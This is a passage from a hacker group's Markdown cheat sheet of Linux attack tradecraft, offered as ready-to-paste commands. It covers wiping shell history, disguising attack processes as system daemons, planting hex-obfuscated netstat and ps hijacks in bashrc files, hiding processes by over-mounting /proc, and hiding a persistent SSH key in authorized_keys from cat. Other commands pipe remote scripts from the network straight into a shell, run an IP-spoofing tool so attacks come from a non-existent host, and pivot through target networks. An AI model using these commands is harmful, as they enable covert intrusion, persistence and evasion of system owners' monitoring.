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2236 lines
80 KiB
Markdown
<!-- Use `grip 8080` to render the markdown locally -->
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# THC's favourite Tips, Tricks & Hacks (Cheat Sheet)
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https://thc.org/tips
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https://tinyurl.com/thctips
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A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them.
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We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work.
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Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
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1. [Bash](#bash)
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1. [Leave Bash without history](#bash-no-history)
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1. [Hide your commands](#bash-hide-command)
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1. [Hide your command line options](#zap)
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1. [Hide a network connection](#bash-hide-connection)
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1. [Hide a process as user](#hide-a-process-user)
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1. [Hide a process as root](#hide-a-process-root)
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1. [Hide scripts](#hide-scripts)
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1. [Hide from cat](#cat)
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1. [Execute in parrallel with separate logfiles](#parallel)
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1. [SSH](#ssh)
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1. [Almost invisible SSH](#ssh-invisible)
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1. [Multiple shells via 1 SSH/TCP connection](#ssh-master)
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1. [SSH tunnel](#ssh-tunnel)
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1. [SSH socks5 tunnel](#ssh-socks-tunnel)
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1. [SSH to NATed host](#ssh-j)
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1. [SSH pivot via ProxyJump](#ssh-pj)
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1. [SSHD as user](#sshd-user)
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1. [Network](#network)
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1. [Discover hosts](#discover)
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1. [Tcpdump](#tcpdump)
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1. [Tunnel and forwarding](#tunnel)
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1. [Raw TCP reverse ports](#ports)
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1. [HTTPS reverse forwards](#https)
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2. [Bouncing traffic with iptables](#iptables)
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3. [Ghost IP / IP Spoofing](#ghost)
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1. [Use any tool via Socks Proxy](#scan-proxy)
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1. [Find your public IP address](#your-ip)
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1. [Check reachability from around the world](#check-reachable)
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1. [Check/Scan Open Ports](#check-open-ports)
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1. [Crack Passwords hashes](#bruteforce)
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1. [Brute Force Passwords / Keys](#bruteforce)
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1. [Data Upload/Download/Exfil](#exfil)
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1. [File Encoding/Decoding](#file-encoding)
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1. [File transfer using cut & paste](#cut-paste)
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1. [File transfer using screen](#file-transfer-screen)
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1. [File transfer using gs-netcat and sftp](#file-transfer-gs-netcat)
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1. [File transfer using HTTP](#http)
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1. [File transfer without curl](#burl)
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2. [File transfer using rsync](#rsync)
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1. [File transfer to public dump sites](#trans)
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1. [File transfer using WebDAV](#webdav)
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1. [File transfer to Telegram](#tg)
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1. [Reverse Shell / Dumb Shell](#reverse-shell)
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1. [Reverse Shells](#reverse-shell)
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1. [with gs-netcat (encrypted)](#reverse-shell-gs-netcat)
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1. [with Bash](#reverse-shell-bash)
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2. [with cURL (encrypted)](#curlshell)
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2. [with cURL (cleartext)](#curltelnet)
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3. [with OpenSSL (encrypted)](#sslshell)
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1. [with remote.moe (encrypted)](#revese-shell-remote-moe)
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1. [without /dev/tcp](#reverse-shell-no-bash)
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1. [with Python](#reverse-shell-python)
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1. [with Perl](#reverse-shell-perl)
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1. [with PHP](#reverse-shell-php)
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1. [Upgrading the dumb shell](#reverse-shell-upgrade)
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1. [Upgrade a reverse shell to a pty shell](#reverse-shell-pty)
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1. [Upgrade a reverse shell to a fully interactive shell](#reverse-shell-interactive)
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1. [Reverse shell with socat (fully interactive)](#reverse-shell-socat)
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1. [Backdoors](#backdoor)
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1. [Background reverse shell](#backdoor-background-reverse-shell)
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1. [authorized_keys](#backdoor-auth-keys)
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1. [Remote access an entire network](#backdoor-network)
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1. [Smallest PHP backdoor](#carriage-return-backdoor)
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1. [Local Root backdoor](#ld-backdoor)
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1. [Host Recon](#hostrecon)
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1. [Shell Hacks](#shell-hacks)
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1. [Shred files (secure delete)](#shred)
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1. [Restore the date of a file](#restore-timestamp)
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1. [Clean logfile](#shell-clean-logs)
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1. [Hide files from a User without root privileges](#shell-hide-files)
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1. [Make a file immutable](#perm-files)
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1. [Change user without sudo/su](#nosudo)
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1. [Crypto](#crypto)
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1. [Generate quick random Password](#gen-password)
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1. [Linux transportable encrypted filesystems](#crypto-filesystem)
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1. [cryptsetup](#crypto-filesystem)
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1. [EncFS](#encfs)
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1. [Encrypting a file](#encrypting-file)
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1. [SSH session sniffing and hijacking](#ssh-sniffing)
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1. [Sniff a user's SHELL session with script](#ssh-sniffing-script)
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2. [Sniff all SHELL sessions with dtrace](#dtrace)
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2. [Sniff all SHELL sessions with eBPF](#bpf)
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1. [Sniff a user's outgoing SSH session with strace](#ssh-sniffing-strace)
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1. [Sniff a user's outgoing SSH session with a wrapper script](#ssh-sniffing-wrapper)
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1. [Sniff a user's outgoing SSH session with SSH-IT](#ssh-sniffing-sshit)
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1. [Hijack / Take-over a running SSH session](#hijack)
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1. [VPN and Shells](#vpn-shell)
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1. [Disposable Root Servers](#shell)
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1. [VPN/VPS Providers](#vpn)
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1. [OSINT Intelligence Gathering](#osint)
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1. [Miscellaneous](#misc)
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1. [Tools of the trade](#tools)
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1. [Cool Linux commands](#cool-linux-commands)
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1. [tmux Cheat Sheet](#tmux)
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1. [Useful commands](#useful-commands)
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1. [Other Sites](#others)
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---
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<a id="bash"></a>
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## 1. Bash / Shell
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<a id="bash-no-history"></a>
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**1.i. Leave Bash without history:**
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Tell Bash to use */dev/null* instead of *~/.bash_history*. This is the first command we execute on every shell. It will stop the Bash from logging your commands.
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```sh
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export HISTFILE=/dev/null
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unset SSH_CONNECTION SSH_CLIENT
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```
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(We also clear SSH_* variables in case we logged in with SSH. Otherwise any process we start gets a copy of our IP in /proc/self/environ.)
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It is good housekeeping to 'commit suicide' when exiting a shell:
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```sh
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alias exit='kill -9 $$'
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```
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Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either.
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```
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$ id
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```
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<a id="bash-hide-command"></a>
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**1.ii. Hide your command / Daemonzie your command**
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Hide as "syslogd".
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```shell
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(exec -a syslogd nmap -T0 10.0.2.1/24) # Note the brackets '(' and ')'
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```
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Start a background hidden process:
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```
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(exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &)
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```
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Start within a [GNU screen](https://linux.die.net/man/1/screen):
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```
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screen -dmS MyName nmap -T0 10.0.2.1/24
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### Attach back to the nmap process
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screen -x MyName
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```
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Alternatively if there is no Bash:
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```sh
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cp "$(command -v nmap)" syslogd
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PATH=.:$PATH syslogd -T0 10.0.2.1/24
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```
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In this example we execute *nmap* but let it appear with the name *syslogd* in *ps alxwww* process list.
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<a id="zap"></a>
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**1.iii. Hide your command line options**
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Use [zapper](https://github.com/hackerschoice/zapper):
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```sh
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# Start Nmap but zap all options and show it as 'klog' in the process list:
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./zapper -a klog nmap -T0 10.0.0.1/24
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# Same but started as a daemon:
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(./zapper -a klog nmap -T0 10.0.0.1/24 &>nmap.log &)
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# Replace the existing shell with tmux (with 'exec').
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# Then start and hide tmux and all further processes - as some kernel process:
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exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
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```
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<a id="bash-hide-connection"></a>
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**1.iv. Hide a Network Connection**
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The trick is to hijack `netstat` and use grep to filter out our connection. This example filters any connection on port 31337 _or_ ip 1.2.3.4. The same should be done for `ss` (a netstat alternative).
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**Method 1 - Hiding a connection with bash-function in ~/.bashrc**
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Cut & paste this to add the line to ~/.bashrc
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```shell
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echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
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&& touch -r /etc/passwd ~/.bashrc
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```
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Or cut & paste this for an obfuscated entry to ~/.bashrc:
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```shell
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X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
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echo "eval \$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \
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&& touch -r /etc/passwd ~/.bashrc
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```
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The obfuscated entry to ~/.bashrc will look like this:
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```
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eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
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```
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**Method 2 - Hiding a connection with a binary in $PATH**
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Create a fake netstat binary in /usr/local/sbin. On a default Debian (and most Linux) the PATH variables (`echo $PATH`) lists /usr/local/sbin _before_ /usr/bin. This means that our hijacking binary /usr/local/sbin/netstat will be executed instead of /usr/bin/netstat.
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```shell
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echo -e "#! /bin/bash
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exec /usr/bin/netstat \"\$@\" | grep -Fv -e :22 -e 1.2.3.4" >/usr/local/sbin/netstat \
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&& chmod 755 /usr/local/sbin/netstat \
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&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
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```
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*(thank you iamaskid)*
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<a id="hide-a-process-user"></a>
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**1.v. Hide a process as user**
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Continuing from "Hiding a connection" the same technique can be used to hide a process. This example hides the nmap process and also takes care that our `grep` does not show up in the process list by renaming it to GREP:
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```shell
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echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
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&& touch -r /etc/passwd ~/.bashrc
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```
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<a id="hide-a-process-root"></a>
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**1.vi. Hide a process as root**
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This requires root privileges and is an old Linux trick by over-mounting /proc/<pid> with a useless directory:
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```sh
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hide()
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{
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[[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }
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_pid=${1:-$$}
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[[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; }
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local _argstr
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for _x in "${@:2}"; do _argstr+=" '${_x//\'/\'\"\'\"\'}'"; done
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[[ $(bash -c "ps -o stat= -p \$\$") =~ \+ ]] || exec bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
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bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
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}
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```
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To hide a command use:
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```sh
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hide # Hides the current shell/PID
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hide 31337 # Hides process with pid 31337
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hide sleep 1234 # Hides 'sleep 1234'
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hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
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```
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(thanks to *druichi* for improving this)
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<a id="hide-scripts"></a>
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**1.vii. Hide shell scripts**
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Above we discussed how to obfuscate a line in ~/.bashrc. An often used trick is to use `source` instead. The source command can be shortened to `.` (yes, a dot) _and_ it also searches through the $PATH variable to find the file to load.
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In this example our script ```prng``` contains all of our shell functions from above. Those functions hide the `nmap` process and the network connection. Last we add `. prng` into the systemwide rc file. This will load `prng` when the user (and root) logs in:
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```shell
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echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
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ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng \
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&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc \
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&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
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```
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(The same works for `lsof`, `ss` and `ls`)
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<a id="cat"></a>
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**1.viii. Hide from cat**
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ANSI escape characters or a simple `\r` ([carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) can be used to hide from `cat` and others.
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Hide the last command (example: `id`) in `~/.bashrc`:
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```sh
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echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
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### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
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### moves the cursor 1 line up.
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### The '#' after the command 'id' is a comment and is needed so that bash still
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### executes the 'id' but ignores the two ANSI escape sequences.
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```
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Note: We use `echo -e` to convert `\\033` to the ANSI escape character (hex 0x1b).
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Adding a `\r` (carriage return) goes a long way to hide your ssh key from `cat`:
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```shell
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echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
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### This adds our key as the first key and 'cat authorized_keys' wont show
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### it. The $'\r' is a bash special to create a \r (carriage return).
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```
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<a id="parallel"></a>
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**1.ix. Execute in parallel with separate logfiles***
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Scan 20 hosts in parallel and log each result to a separate log file:
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```sh
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# hosts.txt contains a long list of hostnames or ip-addresses
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cat hosts.txt | parallel -j20 'exec nmap -n -Pn -sCV -F --open {} >nmap_{}.txt'
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```
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Note: The example uses `exec` to replace the underlying shell with the last process (nmap, gsexec). It's optional but reduces the number of running shell binaries.
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Execute [Linpeas](https://github.com/carlospolop/PEASS-ng) on all [gsocket](https://www.gsocket.io/deploy) hosts using 40 workers:
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```sh
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# secrets.txt contains a long list of gsocket-secrets for each remote server.
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cat secrets.txt | parallel -j40 'mkdir host_{}; exec gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>host_{}/linpeas.err'
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```
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Note: `xargs -P20 -I{}` is another good way but it cannot log each output into a separate file.
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---
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<a id="ssh"></a>
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## 2. SSH
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<a id="ssh-invisible"></a>
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**2.i. Almost invisible SSH**
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Stops you from showing up in *w* or *who* command and stops logging the host to *~/.ssh/known_hosts*.
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```sh
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ssh -o UserKnownHostsFile=/dev/null -T user@server.org "bash -i"
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```
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Go full comfort with PTY and colors: `thcssh user@server.org`:
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```sh
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### Cut & Paste the following to your shell, then execute
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### thcssh user@server.org
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thcssh()
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{
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local ttyp
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echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
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echo -e "PS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
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ttyp=$(stty -g)
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stty raw -echo opost
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[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
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ssh -o UpdateHostKeys=no -o StrictHostKeyChecking="${a:-accept-new}" -T \
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"$@" \
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"unset SSH_CLIENT SSH_CONNECTION; TERM=xterm-256color BASH_HISTORY=/dev/null exec -a [ntp] script -qc 'exec -a [uid] /bin/bash -i' /dev/null"
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stty "${ttyp}"
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}
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```
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<a id="ssh-master"></a>
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**2.ii Multiple shells via 1 SSH/TCP connection**
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Have one TCP connection to the target and allow multiple users to piggyback on the same TCP connection to open further shell sessions.
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Create a Master Connection:
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```sh
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ssh -M -S .sshmux user@server.org
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```
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Create further shell-sessions using the same (single) Master-TCP connection from above (no password/auth needed):
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```sh
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ssh -S .sshmux NONE
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#ssh -S .sshmux NONE ls -al
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#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
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```
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Can be combined with [thcssh](#ssh-invisible) to hide from utmp.
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<a id="ssh-tunnel"></a>
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**2.iii SSH tunnel**
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We use this all the time to circumvent local firewalls and IP filtering:
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```sh
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ssh -g -L31337:1.2.3.4:80 user@server.org
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```
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You or anyone else can now connect to your computer on port 31337 and get tunneled to 1.2.3.4 port 80 and appear with the source IP of 'server.org'. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).
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Clever hackers use the keyboard combination `~C` to dynamically create these tunnels without having to reconnect the SSH. (thanks MessedeDegod).
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We use this to give access to a friend to an internal machine that is not on the public Internet:
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```sh
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ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@server.org
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```
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Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).
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<a id="ssh-socks-tunnel"></a>
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**2.iv SSH socks4/5 tunnel**
|
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OpenSSH 7.6 adds socks support for dynamic forwarding. Example: Tunnel all your browser traffic through your server.
|
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|
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```sh
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ssh -D 1080 user@server.org
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```
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Now configure your browser to use SOCKS with 127.0.0.1:1080. All your traffic is now tunneled through *server.org* and will appear with the source IP of *server.org*. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).
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This is the reverse of the above example. It give others access to your *local* network or let others use your computer as a tunnel end-point.
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```sh
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ssh -g -R 1080 user@server.org
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```
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|
||
The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to *any* computer on *any port* that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network).
|
||
|
||
<a id="ssh-j"></a>
|
||
**2.v SSH to a host behind NAT**
|
||
|
||
[ssh-j.com](http://ssh-j.com) provides a great relay service: To access a host behind NAT/Firewall (via SSH).
|
||
|
||
On the host behind NAT: Create a reverse SSH tunnel to [ssh-j.com](http://ssh-j.com) like so:
|
||
```sh
|
||
## Cut & Paste on the host behind NAT.
|
||
sshj()
|
||
{
|
||
local pw
|
||
pw=${1,,}
|
||
[[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; }
|
||
echo "Press Ctrl-C to stop this tunnel."
|
||
echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m"
|
||
ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22}
|
||
}
|
||
|
||
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected
|
||
sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID
|
||
sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
|
||
```
|
||
|
||
Then use this command from anywhere else in the world to connect as 'root' to 'foobarblahblub' (the host behind the NAT):
|
||
```sh
|
||
ssh -J foobarblahblub@ssh-j.com root@foobarblahblub
|
||
```
|
||
The ssh connection goes via ssh-j.com into the reverse tunnel to the host behind NAT. The traffic is end-2-end encrypted and ssh-j.com can not see the content.
|
||
|
||
|
||
<a id="ssh-pj"></a>
|
||
**2.vi SSH pivoting to multiple servers**
|
||
|
||
SSH ProxyJump can save you a lot of time and hassle when working with remote servers. Let's assume the scenario:
|
||
|
||
Our workstation is $local-kali and we like to SSH into $target-host. There is no direct connection between our workstation and $target-host. Our workstation can only reach $C2. $C2 can reach $internal-jumphost (via internal eth1) and $internal-jumphost can reach the final $target-host via eth2.
|
||
```sh
|
||
$local-kali -> $C2 -> $internal-jumphost -> $target-host
|
||
eth0 192.168.8.160 10.25.237.119
|
||
eth1 192.168.5.130 192.168.5.135
|
||
eth2 172.16.2.120 172.16.2.121
|
||
```
|
||
|
||
> We do not execute `ssh` on any computer but our trusted workstation - and neither shall you (ever).
|
||
|
||
That's where ProxyJump helps: We can 'jump' via the two intermediary servers $C2 and $internal-jumphost (without spawning a shell on those servers). The ssh-connection is end-2-end encrypted between our $local-kali and $target-host and no password or key is exposed to $C2 or $internal-jumphost.
|
||
|
||
```sh
|
||
## if we want to SSH to $target-host:
|
||
kali@local-kali$ ssh -J c2@10.25.237.119,jumpuser@192.168.5.135 target@172.16.2.121
|
||
|
||
## if we want to SSH to just $internal-jumphost:
|
||
kali@local-kali$ ssh -J c2@10.25.237.119 jumpuser@192.168.5.135
|
||
```
|
||
|
||
> We use this as well to hide our IP address when logging into servers.
|
||
|
||
<a id="sshd-user"></a>
|
||
**2.vii SSHD as user land**
|
||
|
||
It is possible to start a SSHD server as a non-root user and use this to multiplex or forward TCP connection (without logging and when the systemwide SSHD forbids forwarding/multiplexing) or as a quick exfil-dump-server that runs as non-root:
|
||
```sh
|
||
# On the server, as non-root user 'joe':
|
||
mkdir -p ~/.ssh 2>/dev/null
|
||
ssh-keygen -q -N "" -t ed25519 -f sshd_key
|
||
cat sshd_key.pub >>~/.ssh/authorized_keys
|
||
cat sshd_key
|
||
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
|
||
```
|
||
```sh
|
||
# On the client, copy the sshd_key from the server. Then login:
|
||
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
|
||
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 joe@1.2.3.4
|
||
# curl -x socks5h://0 ipinfo.io
|
||
```
|
||
|
||
[SSF](https://securesocketfunneling.github.io/ssf/#home) is an alternative way to multiplex TCP over TLS.
|
||
|
||
---
|
||
<a id="network"></a>
|
||
## 3. Network
|
||
<a id="discover"></a>
|
||
**3.i. Discover hosts**
|
||
|
||
```sh
|
||
## ARP disocer computers on the local network
|
||
nmap -r -sn -PR 192.168.0.1/24
|
||
```
|
||
|
||
```sh
|
||
## ICMP discover computers on the local netowrk
|
||
NET="10.11.0" # discover 10.11.0.1-10.11.0.254
|
||
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
|
||
```
|
||
|
||
---
|
||
<a id="tcpdump"></a>
|
||
**3.ii. tcpdump**
|
||
|
||
```sh
|
||
## Monitor every new TCP connection
|
||
tcpdump -np "tcp[tcpflags] == tcp-syn"
|
||
|
||
## Play a *bing*-noise for every new SSH connection
|
||
tcpdump -nplq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\a; done
|
||
|
||
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
|
||
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
|
||
```
|
||
|
||
---
|
||
<a id="tunnel"></a>
|
||
**3.iii. Tunnel and forwarding**
|
||
|
||
```sh
|
||
## Connect to SSL (using socat)
|
||
socat stdio openssl-connect:smtp.gmail.com:465
|
||
|
||
## Connect to SSL (using openssl)
|
||
openssl s_client -connect smtp.gmail.com:465
|
||
```
|
||
|
||
```sh
|
||
## Bridge TCP to SSL
|
||
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
|
||
```
|
||
|
||
---
|
||
<a id="ports"></a>
|
||
**3.iii.a Raw TCP reverse ports**
|
||
|
||
Using [segfault.net](https://thc.org/segfault.net) (free):
|
||
```sh
|
||
# Request a random public TCP port:
|
||
curl sf/port
|
||
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
|
||
nc -vnlp $(cat /config/self/reverse_port)
|
||
```
|
||
|
||
Using [bore.pub](https://github.com/ekzhang/bore) (free):
|
||
```sh
|
||
# Forward a random public TCP port to localhost:31337
|
||
bore local 31337 --to bore.pub
|
||
```
|
||
|
||
using [serveo.net](https://serveo.net) (free):
|
||
```sh
|
||
# Forward a random public TCP port to localhost:31337
|
||
ssh -R 0:localhost:31337 serveo.net
|
||
```
|
||
|
||
See also [remote.moe](#revese-shell-remote-moe) (free) to forward raw TCP from the target to your workstation or [ngrok](https://ngrok.com/) (paid subscription) to forward a raw public TCP port.
|
||
|
||
Other free services are limited to forward HTTPS only (not raw TCP). Some tricks below show how to tunnel raw TCP over HTTPS forwards (using websockets).
|
||
|
||
---
|
||
<a id="https"></a>
|
||
**3.iii.b HTTPS reverse tunnels**
|
||
|
||
On the server, use any one of these three HTTPS tunneling services:
|
||
```sh
|
||
### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
|
||
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@localhost.run
|
||
### Or using remote.moe
|
||
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@remote.moe
|
||
### Or using cloudflared
|
||
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
|
||
chmod 755 cloudflared
|
||
cloudflared tunnel --url http://localhost:8080 --no-autoupdate
|
||
```
|
||
Either service will generate a new temporary HTTPS-URL for you to use.
|
||
|
||
Then, use [websocat](https://github.com/vi/websocat) or [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) on both ends to tunnel raw TCP over the HTTPS URL:
|
||
|
||
A. A simple STDIN/STDOUT pipe via HTTPS:
|
||
```sh
|
||
### On the server convert WebSocket to raw TCP:
|
||
websocat -s 8080
|
||
```
|
||
```sh
|
||
### On the remote target forward stdin/stdout to WebSocket:
|
||
websocat wss://<HTTPS-URL>
|
||
```
|
||
|
||
B. Forward raw TCP via HTTPS:
|
||
```sh
|
||
### On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:
|
||
gost -L mws://:8080
|
||
```
|
||
|
||
Forward port 2222 to the server's port 22.
|
||
```sh
|
||
### On the workstation:
|
||
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
|
||
### Test the connection (will connect to localhost:22 on the server)
|
||
nc -vn 127.0.0.1 2222
|
||
```
|
||
or use the server as a Socks-Proxy EXIT node (e.g. access any host inside the server's network or even the Internet via the server (using the HTTPS reverse tunnel from above):
|
||
```sh
|
||
### On the workstation:
|
||
gost -L :1080 -F 'mwss://<HTTPS-URL>:443'
|
||
### Test the Socks-proxy:
|
||
curl -x socks5h://0 ipinfo.io
|
||
```
|
||
|
||
More: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) and [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) and [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
|
||
|
||
---
|
||
<a id="iptables"></a>
|
||
**3.iii.c Bouncing traffic with iptables**
|
||
|
||
Use the host 192.168.0.100 as a Jump-Host: Forward any connection from anywhere to 192.168.0.100:53 onwards to 1.2.3.4:443.
|
||
```sh
|
||
FPORT=53
|
||
DSTIP=1.2.3.4
|
||
DPORT=443
|
||
echo 1 >/proc/sys/net/ipv4/ip_forward
|
||
|
||
iptables -t mangle -C PREROUTING -j CONNMARK --restore-mark || iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
|
||
iptables -t mangle -A PREROUTING -p tcp --dport ${FPORT:?} -m addrtype --dst-type LOCAL -j MARK --set-mark 1188
|
||
|
||
iptables -t nat -I PREROUTING -p tcp -m mark --mark 1188 -j DNAT --to ${DSTIP:?}:${DPORT:?}
|
||
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
|
||
|
||
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
|
||
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
|
||
```
|
||
|
||
We use this trick to reach the gsocket-relay-network (or TOR) from deep inside firewalled networks.
|
||
```sh
|
||
# Deploy on a target that can only reach 192.168.0.100
|
||
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
|
||
```
|
||
```sh
|
||
# Access the target
|
||
GS_HOST=1.2.3.4: GS_PORT=443 gs-netcat -i -s ...
|
||
```
|
||
|
||
---
|
||
<a id="ghost"></a>
|
||
**3.vi.c Ghsot IP / IP Spoofing**
|
||
|
||
Useful on a host inside the target network. This tool re-configured (without trace) the SHELL: Any programm (nmap, cme, ...) started from this SHELL will use a fake IP. All your attacks will originate from a host that does not exist.
|
||
|
||
```sh
|
||
source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
|
||
```
|
||
|
||
This also works in combination with:
|
||
* [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Will connect your ROOT Server to the TARGET NETWORK and using a Ghost IP inside the taget network.
|
||
* [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): As above, but less secure.
|
||
|
||
---
|
||
<a id="scan-proxy"></a>
|
||
**3.iv. Use any tool via Socks Proxy**
|
||
|
||
### Create a tunnel from the target to your workstation using gsocket:
|
||
On the target's network:
|
||
```sh
|
||
## Create a SOCKS proxy into the target's network.
|
||
## Use gs-netcat but ssh -D would work as well.
|
||
gs-netcat -l -S
|
||
```
|
||
|
||
On your workstation:
|
||
```sh
|
||
## Create a gsocket tunnel into the target's network:
|
||
gs-netcat -p 1080
|
||
```
|
||
|
||
### Using ProxyChain:
|
||
```sh
|
||
## Use ProxyChain to access any host on the target's network:
|
||
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf
|
||
proxychains -f pc.conf -q curl ipinfo.io
|
||
## Scan the router at 192.168.1.1
|
||
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
|
||
## Start 10 nmaps in parallel:
|
||
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
|
||
```
|
||
|
||
### Using GrafTCP:
|
||
```sh
|
||
## Use graftcp to access any host on the target's network:
|
||
(graftcp-local -select_proxy_mode only_socks5 &)
|
||
graftcp curl ipinfo.io
|
||
graftcp ssh root@192.168.1.1
|
||
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
|
||
```
|
||
|
||
---
|
||
<a id="your-ip"></a>
|
||
**3.v. Find your public IP address**
|
||
|
||
```sh
|
||
curl -s wtfismyip.com/json | jq
|
||
curl ifconfig.me
|
||
dig +short myip.opendns.com @resolver1.opendns.com
|
||
host myip.opendns.com resolver1.opendns.com
|
||
```
|
||
|
||
Get geolocation information about any IP address:
|
||
|
||
```sh
|
||
curl https://ipinfo.io/8.8.8.8 | jq
|
||
curl http://ip-api.com/8.8.8.8
|
||
curl https://cli.fyi/8.8.8.8
|
||
```
|
||
|
||
Get ASN information by IP address:
|
||
|
||
```sh
|
||
asn() {
|
||
[[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; }
|
||
(echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2
|
||
}
|
||
asn 1.1.1.1 # Single IP Lookup
|
||
cat IPS.txt | asn # Bulk Lookup
|
||
```
|
||
|
||
Check if TOR is working:
|
||
|
||
```sh
|
||
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
|
||
### Result should be {"IsTor":true...
|
||
```
|
||
|
||
---
|
||
<a id="check-reachable"></a>
|
||
**3.vi. Check reachability from around the world**
|
||
|
||
The fine people at [https://ping.pe/](https://ping.pe/) let you ping/traceroute/mtr/dig/port-check a host from around the world, check TCP ports, resolve a domain name, ...and many other things.
|
||
|
||
To check how well your (current) host can reach Internet use [OONI Probe](https://ooni.org/support/ooni-probe-cli):
|
||
```sh
|
||
ooniprobe run im
|
||
